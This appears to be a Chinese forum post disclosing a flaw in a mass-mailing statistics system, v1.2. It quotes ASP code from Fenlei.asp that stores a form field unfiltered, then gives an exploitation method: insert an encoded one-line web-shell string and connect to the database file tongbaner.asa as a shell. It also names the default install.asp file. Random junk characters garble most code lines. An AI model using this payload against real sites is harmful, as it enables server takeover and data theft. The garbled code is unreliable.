铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
4 `' h* |: J: J" ?9 P: n
' a8 l9 j3 J! w$ V9 `IF Request.QueryString("Action")="del" Then
1 R" w1 D. b- U6 G' zID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
6 F' }: {9 A! W# _, G6 l'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
3 ^* f' I# v/ w/ eSet Rs=Server.CreateObject("adodb.Recordset")
! I- _: K  |/ U6 O: X0 FSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
Rs.Addnew
  M% K" i# p* ~. l7 d4 v! z8 a$ ]Rs("Typename")=Tname
'略
4 u. _/ A* K1 A  |$ SSet Rs=Server.CreateObject("adodb.Recordset")
* d* \4 H# t5 A4 M$ vSql="Select * From Fenlei Order by id Desc "
  ]2 f' f7 C$ G# n2 d; w2 g( }: URs.Open Sql,Conn,1,1
0 K" G7 u2 J+ S'略
%>

' z2 d' g" T+ g% `& V4 |4 O4 u
. S% H5 h7 @+ ^. x* s; Q
没有过滤，直接写入数据库。
- `+ v( h- {% }1 p
利用方法：
0 }+ P; D" m6 ~# z7 h# L
插入：┼攠數畣整爠煥敵瑳∨≡┩>
5 ~" G2 I( ^4 h- t

连接： http://www.xxx.com/###tongbaner.asa
. H" c( e* |5 ]0 R; b& x$ ^'默认安装文件：
9 A4 `* p+ t% e, c5 S'install.asp